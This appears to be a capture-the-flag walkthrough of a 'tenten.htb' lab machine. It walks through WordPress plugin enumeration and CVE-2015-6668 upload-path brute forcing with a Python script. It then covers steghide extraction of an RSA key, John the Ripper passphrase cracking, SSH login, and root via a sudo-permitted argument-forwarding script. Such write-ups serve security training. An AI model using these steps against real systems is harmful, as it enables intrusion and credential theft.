Initial Reconnaissance

Nmap reveals two open ports: SSH (22) and HTTP (80). Detailed scanning provides service versions.

nmap -sC -sV -p 22,80 -oA nmap 10.10.10.10

The web server redirects to tenten.htb. Add this hostname to /etc/hosts:

echo "10.10.10.10 tenten.htb" | sudo tee -a /etc/hosts

The site runs WordPress, and further inspection identifies a vulnerable plugin.

Identifying the Vulnerability

Using WPScan, we discover the job-manager plugin, version 7.2.5, which corresponds to CVE-2015-6668 ─ a CV filename disclosure and security bypass.

wpscan --url http://tenten.htb --enumerate p

Job listing pages are found at /index.php/jobs/apply/<ID>/. By brute forcing IDs 1 through 20 we determine that ID 13 corresponds to HackerAccessGranted.

for id in $(seq 1 20); do
  curl -s http://tenten.htb/index.php/jobs/apply/$id/ | grep '<title>'
done

Retrieving the Uploaded CV

An exploit script enumerates predictable upload directories and file extensions until it locates the CV.

import requests
import itertools

target = "http://tenten.htb"
file_basename = "HackerAccessGranted"

combinations = itertools.product(range(2013, 2018), range(1, 13), ('jpg', 'jpeg', 'docx'))
for year, month, ext in combinations:
    path = f"/wp-content/uploads/{year}/{month:02d}/{file_basename}.{ext}"
    resp = requests.get(target + path)
    if resp.status_code == 200:
        print(f"Found: {target}{path}")
        break

The output reveals the image at:

http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg

Downloda it:

wget http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg

Extracting Hidden Credentials

The image contains steganographic data. Using steghide, extract the concealed file without a passphrase.

steghide extract -sf HackerAccessGranted.jpg -p "" -f

This produces an encrypted RSA private key (id_rsa). Convert it for password cracking with John the Ripper.

ssh2john id_rsa > rsa_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt rsa_hash.txt

Cracked passphrase: superpassword

Obtaining User Access

WPScan also enumerates the user takis. With the private key and passphrase, SSH in with tightened permissions.

chmod 600 id_rsa
ssh -i id_rsa takis@10.10.10.10

Privilege Escalation via Sudo

Listing sudo permissions shows unrestricted execution of /bin/fuckin:

sudo -l

Inspecting the script reveals it simply forwards arguments to a shell:

#!/bin/bash
$@

Exploit by requesting a root shell:

sudo /bin/fuckin bash

This provides an immediate root session.